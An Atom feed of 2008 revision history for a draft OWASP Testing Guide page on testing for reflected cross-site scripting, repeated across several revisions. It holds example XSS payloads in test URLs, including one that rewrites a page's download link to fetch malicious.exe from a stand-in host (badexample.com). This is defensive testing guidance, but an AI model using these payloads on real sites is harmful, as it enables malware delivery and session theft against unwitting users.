&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
This will cause the user, clicking on the link supplied by the tester, to download the file malicious.exe from a site he controls.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
...&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
== Gray Box testing and example == &lt;br /&gt;
'''Testing for Topic X vulnerabilities:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;/div&gt;</summary>
		<author><name>Sick</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_Reflected_Cross_site_scripting_(OTG-INPVAL-001)&amp;diff=34901</id>
		<title>Testing for Reflected Cross site scripting (OTG-INPVAL-001)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_Reflected_Cross_site_scripting_(OTG-INPVAL-001)&amp;diff=34901"/>
				<updated>2008-07-29T17:17:46Z</updated>
		
		<summary type="html">&lt;p&gt;Sick: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v3}}&lt;br /&gt;
&lt;br /&gt;
'''This is a draft of a section of the new Testing Guide v3'''&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
&lt;br /&gt;
Reflected cross-site scripting (XSS) is another name for non-persistent &lt;br /&gt;
XSS, where the attack doesn't load with the vulnerable web application &lt;br /&gt;
but is originated by the victim loading the offending URI. In this &lt;br /&gt;
article we will see some ways to test a web application for this kind of &lt;br /&gt;
vulnerability.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
&lt;br /&gt;
Reflected XSS attacks are also known as type 1 or non-persistent XSS attacks, and &lt;br /&gt;
are the most frequent type of XSS attacks found nowadays. &lt;br /&gt;
&lt;br /&gt;
When a web application is vulnerable to this type of attack, it will &lt;br /&gt;
pass unvalidated input sent through requests to the client. The common modus &lt;br /&gt;
operandi of the attack includes a design step, in which the attacker &lt;br /&gt;
creates and tests an offending URI, a social engineering step, in which &lt;br /&gt;
he convinces her victims to load this URI on their browsers, and the eventual &lt;br /&gt;
execution of the offending code -using the victim's credentials-. &lt;br /&gt;
&lt;br /&gt;
Commonly the attacker's code is in the Javascript language, but also &lt;br /&gt;
other scripting languajes like ActionScript, and VBScript. &lt;br /&gt;
&lt;br /&gt;
Attackers typically profit from these vulnerabilities in order to &lt;br /&gt;
install key loggers, steal victim cookies, clipboard theft, and &lt;br /&gt;
change the content of the page (e.g., download links). &lt;br /&gt;
&lt;br /&gt;
One of the important matters about exploiting XSS vulnerabilities is character encoding. &lt;br /&gt;
In some cases, the web server or the web application could not be filtering some &lt;br /&gt;
encodings of characters, so for example the web application might filter out &amp;quot;&amp;lt;script&amp;gt;&amp;quot;, &lt;br /&gt;
but might not filter %3cscript%3 which simply includes another encoding of tags. &lt;br /&gt;
A nice tool for testing character encodings is OWASP's CAL9000. &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
The aim of black-box testing for reflected XSS vulnerabilities is to tamper with the HTML output generated through links and other forms of requests and understanding how to do it. &lt;br /&gt;
&lt;br /&gt;
For example, consider a site that has a welcome notice &amp;quot; Welcome %username% &amp;quot; and a download link. &lt;br /&gt;
&lt;br /&gt;
[[Image:XSS Example1.png]]&lt;br /&gt;
&lt;br /&gt;
The tester must suspect that every data entry point can result in a XSS attack. To analyze it, the tester will play with the user variable and try to trigger the vulnerability. &lt;br /&gt;
Let's try to click on the following link and see what happens:&lt;br /&gt;
&amp;lt;pre&amp;gt;http://localhost/tag/xss-s-tag-1.php?user=&amp;lt;script&amp;gt;alert(123)&amp;lt;/script&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If no sanitization is applied this will result in the following popup:&lt;br /&gt;
&lt;br /&gt;
[[Image:alert.png]]&lt;br /&gt;
&lt;br /&gt;
This indicates that there is a XSS vulnerability and it appears that the tester can execute code of his choice in anybody's browser if he clicks on the tester's link. Let's try other piece of code (link):&lt;br /&gt;
&amp;lt;pre&amp;gt;http://localhost/tag/xss-s-tag-1.php?user=&amp;lt;script&amp;gt;window.onload = function() {var AllLinks=document.getElementsByTagName(&amp;quot;a&amp;quot;); &lt;br /&gt;
AllLinks[0].href = &amp;quot;http://badexample.com/malicious.exe&amp;quot;; }&amp;lt;/script&amp;gt; &amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This produces the following behavior:&lt;br /&gt;
&lt;br /&gt;
[[Image:XSS Example2.png]]&lt;br /&gt;
&lt;br /&gt;
This will cause the user, clicking on the link supplied by the tester, to download the file malicious.exe from a site he controls.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
...&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
== Gray Box testing and example == &lt;br /&gt;
'''Testing for Topic X vulnerabilities:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;/div&gt;</summary>
		<author><name>Sick</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=File:Alert.png&amp;diff=34900</id>
		<title>File:Alert.png</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=File:Alert.png&amp;diff=34900"/>
				<updated>2008-07-29T17:16:41Z</updated>
		
		<summary type="html">&lt;p&gt;Sick: https://www.owasp.org/index.php/Testing_for_Reflected_Cross_site_scripting&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;https://www.owasp.org/index.php/Testing_for_Reflected_Cross_site_scripting&lt;/div&gt;</summary>
		<author><name>Sick</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=File:XSS_Example2.png&amp;diff=34899</id>
		<title>File:XSS Example2.png</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=File:XSS_Example2.png&amp;diff=34899"/>
				<updated>2008-07-29T17:16:18Z</updated>
		
		<summary type="html">&lt;p&gt;Sick: https://www.owasp.org/index.php/Testing_for_Reflected_Cross_site_scripting&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;https://www.owasp.org/index.php/Testing_for_Reflected_Cross_site_scripting&lt;/div&gt;</summary>
		<author><name>Sick</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=File:XSS_Example1.png&amp;diff=34898</id>
		<title>File:XSS Example1.png</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=File:XSS_Example1.png&amp;diff=34898"/>
				<updated>2008-07-29T17:15:50Z</updated>
		
		<summary type="html">&lt;p&gt;Sick: https://www.owasp.org/index.php/Testing_for_Reflected_Cross_site_scripting&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;https://www.owasp.org/index.php/Testing_for_Reflected_Cross_site_scripting&lt;/div&gt;</summary>
		<author><name>Sick</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_Reflected_Cross_site_scripting_(OTG-INPVAL-001)&amp;diff=34897</id>
		<title>Testing for Reflected Cross site scripting (OTG-INPVAL-001)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_Reflected_Cross_site_scripting_(OTG-INPVAL-001)&amp;diff=34897"/>
				<updated>2008-07-29T17:10:43Z</updated>
		
		<summary type="html">&lt;p&gt;Sick: added black box example&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v3}}&lt;br /&gt;
&lt;br /&gt;
'''This is a draft of a section of the new Testing Guide v3'''&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
&lt;br /&gt;
Reflected cross-site scripting (XSS) is another name for non-persistent &lt;br /&gt;
XSS, where the attack doesn't load with the vulnerable web application &lt;br /&gt;
but is originated by the victim loading the offending URI. In this &lt;br /&gt;
article we will see some ways to test a web application for this kind of &lt;br /&gt;
vulnerability.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
&lt;br /&gt;
Reflected XSS attacks are also known as type 1 or non-persistent XSS attacks, and &lt;br /&gt;
are the most frequent type of XSS attacks found nowadays. &lt;br /&gt;
&lt;br /&gt;
When a web application is vulnerable to this type of attack, it will &lt;br /&gt;
pass unvalidated input sent through requests to the client. The common modus &lt;br /&gt;
operandi of the attack includes a design step, in which the attacker &lt;br /&gt;
creates and tests an offending URI, a social engineering step, in which &lt;br /&gt;
he convinces her victims to load this URI on their browsers, and the eventual &lt;br /&gt;
execution of the offending code -using the victim's credentials-. &lt;br /&gt;
&lt;br /&gt;
Commonly the attacker's code is in the Javascript language, but also &lt;br /&gt;
other scripting languajes like ActionScript, and VBScript. &lt;br /&gt;
&lt;br /&gt;
Attackers typically profit from these vulnerabilities in order to &lt;br /&gt;
install key loggers, steal victim cookies, clipboard theft, and &lt;br /&gt;
change the content of the page (e.g., download links). &lt;br /&gt;
&lt;br /&gt;
One of the important matters about exploiting XSS vulnerabilities is character encoding. &lt;br /&gt;
In some cases, the web server or the web application could not be filtering some &lt;br /&gt;
encodings of characters, so for example the web application might filter out &amp;quot;&amp;lt;script&amp;gt;&amp;quot;, &lt;br /&gt;
but might not filter %3cscript%3 which simply includes another encoding of tags. &lt;br /&gt;
A nice tool for testing character encodings is OWASP's CAL9000. &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
The aim of black-box testing for reflected XSS vulnerabilities is to tamper with the HTML output generated through links and other forms of requests and understanding how to do it. &lt;br /&gt;
&lt;br /&gt;
For example, consider a site that has a welcome notice &amp;quot; Welcome %username% &amp;quot; and a download link. &lt;br /&gt;
&lt;br /&gt;
IMAGE&lt;br /&gt;
&lt;br /&gt;
The tester must suspect that every data entry point can result in a XSS attack. To analyze it, the tester will play with the user variable and try to trigger the vulnerability. &lt;br /&gt;
Let's try to click on the following link and see what happens:&lt;br /&gt;
&amp;lt;pre&amp;gt;http://localhost/tag/xss-s-tag-1.php?user=&amp;lt;script&amp;gt;alert(123)&amp;lt;/script&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If no sanitization is applied this will result in the following popup:&lt;br /&gt;
&lt;br /&gt;
IMAGE&lt;br /&gt;
&lt;br /&gt;
This indicates that there is a XSS vulnerability and it appears that the tester can execute code of his choice in anybody's browser if he clicks on the tester's link. Let's try other piece of code (link):&lt;br /&gt;
&amp;lt;pre&amp;gt;http://localhost/tag/xss-s-tag-1.php?user=&amp;lt;script&amp;gt;window.onload = function() {var AllLinks=document.getElementsByTagName(&amp;quot;a&amp;quot;); &lt;br /&gt;
AllLinks[0].href = &amp;quot;http://badexample.com/malicious.exe&amp;quot;; }&amp;lt;/script&amp;gt; &amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This produces the following behavior:&lt;br /&gt;
&lt;br /&gt;
IMAGE&lt;br /&gt;
&lt;br /&gt;
This will cause the user, clicking on the link supplied by the tester, to download the file malicious.exe from a site he controls.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
...&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
== Gray Box testing and example == &lt;br /&gt;
'''Testing for Topic X vulnerabilities:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;/div&gt;</summary>
		<author><name>Sick</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_Reflected_Cross_site_scripting_(OTG-INPVAL-001)&amp;diff=33668</id>
		<title>Testing for Reflected Cross site scripting (OTG-INPVAL-001)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_Reflected_Cross_site_scripting_(OTG-INPVAL-001)&amp;diff=33668"/>
				<updated>2008-07-08T14:58:21Z</updated>
		
		<summary type="html">&lt;p&gt;Sick: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v3}}&lt;br /&gt;
&lt;br /&gt;
'''This is a draft of a section of the new Testing Guide v3'''&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
&lt;br /&gt;
Reflected cross-site scripting (XSS) is another name for non-persistent&lt;br /&gt;
XSS, where the attack doesn’t load with the vulnerable web application&lt;br /&gt;
but is originated by the victim loading the offending URI. In this&lt;br /&gt;
article we will see some ways to test a web application for this kind of&lt;br /&gt;
vulnerability.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
&lt;br /&gt;
Reflected XSS attacks also know as type 1 or non-persistent XSS attacks,&lt;br /&gt;
are the most frequent type of XSS attack found nowadays.&lt;br /&gt;
&lt;br /&gt;
When a web application is vulnerable to this type of attack, it will&lt;br /&gt;
execute unvalidated input sent through requests. The common modus&lt;br /&gt;
operandi of the attack includes a design step, in which the attacker&lt;br /&gt;
creates and tests an offending URI, a social engineering step, in which&lt;br /&gt;
he convinces her victims to load this URI on their browsers, and then&lt;br /&gt;
the code is executed –using the victim’s credentials.&lt;br /&gt;
&lt;br /&gt;
Commonly the attacker’s code is in the Javascript language, but also&lt;br /&gt;
other scripting languajes like ActionScript, and VBScript.&lt;br /&gt;
&lt;br /&gt;
Attackers typically profit from these vulnerabilities in order to&lt;br /&gt;
install key loggers, steal the victim’s cookie, clipboard theft, and&lt;br /&gt;
change the content of the page (e.g., download links).&lt;br /&gt;
&lt;br /&gt;
One of the important matters about exploiting XSS vulnerabilities is character encoding.&lt;br /&gt;
In some cases, the web server or the web application could not be filtering some &lt;br /&gt;
encodings of characters, so for example the web application might filter out &amp;quot;&amp;lt;script&amp;gt;&amp;quot;, &lt;br /&gt;
but might not filter %3cscript%3 which simply includes another encoding of tags. &lt;br /&gt;
A nice tool for testing character encodings is OWASP's CAL9000.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
'''Testing for Topic X vulnerabilities:''' &amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
== Gray Box testing and example == &lt;br /&gt;
'''Testing for Topic X vulnerabilities:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;/div&gt;</summary>
		<author><name>Sick</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_Reflected_Cross_site_scripting_(OTG-INPVAL-001)&amp;diff=33663</id>
		<title>Testing for Reflected Cross site scripting (OTG-INPVAL-001)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_Reflected_Cross_site_scripting_(OTG-INPVAL-001)&amp;diff=33663"/>
				<updated>2008-07-08T14:50:19Z</updated>
		
		<summary type="html">&lt;p&gt;Sick: Brief Summary and Description&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v3}}&lt;br /&gt;
&lt;br /&gt;
'''This is a draft of a section of the new Testing Guide v3'''&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
&lt;br /&gt;
Reflected cross-site scripting (XSS) is another name for non-persistent&lt;br /&gt;
XSS, where the attack doesn’t load with the vulnerable web application&lt;br /&gt;
but is originated from the victim loading the offending URI. In this&lt;br /&gt;
article we will see some ways to test a web application for this kind of&lt;br /&gt;
vulnerability.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
&lt;br /&gt;
Reflected XSS attacks also know as type 1 or non-persistent XSS attacks,&lt;br /&gt;
are the most frequent type of XSS attack found nowadays.&lt;br /&gt;
&lt;br /&gt;
When a web application is vulnerable to this type of attack, it will&lt;br /&gt;
execute unvalidated input sent through requests. The common modus&lt;br /&gt;
operandi of the attack includes a design step, in which the attacker&lt;br /&gt;
creates and tests an offending URI, a social engineering step, in which&lt;br /&gt;
he convinces her victims to load this URI on their browsers, and then&lt;br /&gt;
the code is executed –using the victim’s credentials.&lt;br /&gt;
&lt;br /&gt;
Commonly the attacker’s code is in the Javascript language, but also&lt;br /&gt;
other scripting languajes like Flash, VBScript, HTML and ActiveX can be&lt;br /&gt;
used.&lt;br /&gt;
&lt;br /&gt;
Attackers typically profit from these vulnerabilities in order to&lt;br /&gt;
install key loggers, steal the victim’s cookie, clipboard theft, and&lt;br /&gt;
change the content of the page (e.g., download links).&lt;br /&gt;
&lt;br /&gt;
One of the important matters about exploiting XSS vulnerabilities is character encoding.&lt;br /&gt;
In some cases, the web server or the web application could not be filtering some &lt;br /&gt;
encodings of characters, so for example the web application might filter out &amp;quot;&amp;lt;script&amp;gt;&amp;quot;, &lt;br /&gt;
but might not filter %3cscript%3 which simply includes another encoding of tags. &lt;br /&gt;
A nice tool for testing character encodings is OWASP's CAL9000.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
'''Testing for Topic X vulnerabilities:''' &amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
== Gray Box testing and example == &lt;br /&gt;
'''Testing for Topic X vulnerabilities:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;/div&gt;</summary>
		<author><name>Sick</name></author>	</entry>

	</feed>